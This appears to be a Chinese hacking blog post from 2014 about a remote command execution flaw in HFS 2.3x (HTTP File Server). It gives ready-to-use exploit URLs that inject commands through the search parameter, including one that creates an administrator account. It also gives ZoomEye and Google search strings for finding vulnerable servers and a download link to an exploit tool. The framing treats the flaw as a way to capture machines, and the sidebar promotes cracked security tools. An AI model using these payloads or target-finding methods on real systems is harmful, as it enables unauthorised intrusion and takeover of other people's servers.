小威博客

白帽子 - 网络安全爱好者 - 勤劳的搬砖工人

HFS 2.3x 远程命令执行漏洞

- 九月 14, 2014
- 0 条评论

国外9月12号左右出的洞！HFS 2.3x 远程命令执行！抓鸡阔的末日来了~

使用方式：

http://localhost:80/?search==%00{.exec|cmd.}

http://localhost:80/search=%00{.exec|cmd.}

例（添加帐号）：http://localhost:80/?search==%00{.exec|cmd.exe%20/c%20net%20user%20admin%20admin%20/add.}

（注：有些版本search前面是没有?的）

搜索方法：
0x1： ZoomEye搜索 http://www.zoomeye.org/search?q=HFS+2.3
0x2：google Hack intext:服务器信息 随波汉化版.exe

附基友写的小利用工具一枚:

下载链接: http://pan.baidu.com/s/1mgyY6Qc 密码: i2o0

0 添加新评论

称呼

邮箱

网站 http://example.com

提交评论

输入关键字搜索 搜索

分类目录

- 安全工具
- 网络文章

在线工具

XSS Platform
XSS编码转换
字符串编码转换

近期文章

- 最新BurpLoader.jar 适用于Burp1.6.27
- BBScan -- 一个信息泄漏批量扫描脚本
- Github文件泄露搜索语法
- Joomla 3.2.0 – 3.4.4 SQL注入漏洞批量检测脚本
- Burpsuite Pro V1.6.24破解版

文章归档

选择月份

标签

0day aircrack-ng android anymacro mail anymacro漏洞 Brutus burp Burpsuite Burpsuite 破解版 Cain DedeCMS DedeCMS Sql Discuz X系列 Discuz漏洞 D盾 ecshop 0day ecshop漏洞 HeartbleedScanner John the Ripper L0phtCrack Medusa Netsparker破解版 OpenSSL OphCrack owasp RainbowCrack SQL注入 WebView web指纹识别 Wfuzz wordpress wordpress爆破 XSS xss paylod xss 盲打 xss编码 二级域名查询 啊D 子域名查询 心脏出血漏洞 渗透 盲打 神器 网站程序检测 跨站

随机友链

- 黑色小亮
- 千日斩客栈
- Sendse
- 0day储藏室
- 啊D Blog
- 枫少
- 阿峰博客
- 憔悴博客
- 阿德马web安全
- XSS Platform
- z7y Blog
- 神刀网
- Csn信息安全论坛
- 黑客榜中榜
- 90safe

- F1n9er's Blog
- 船长哥哥
- Loiter
- Scholar's Blog
- 肉肉
- 那袜子
- 思安阁
- 菜根百事
- Tios7ays
- 情 Blog

功能

- 登录
- 文章 RSS
- 评论 RSS
- WordPress.org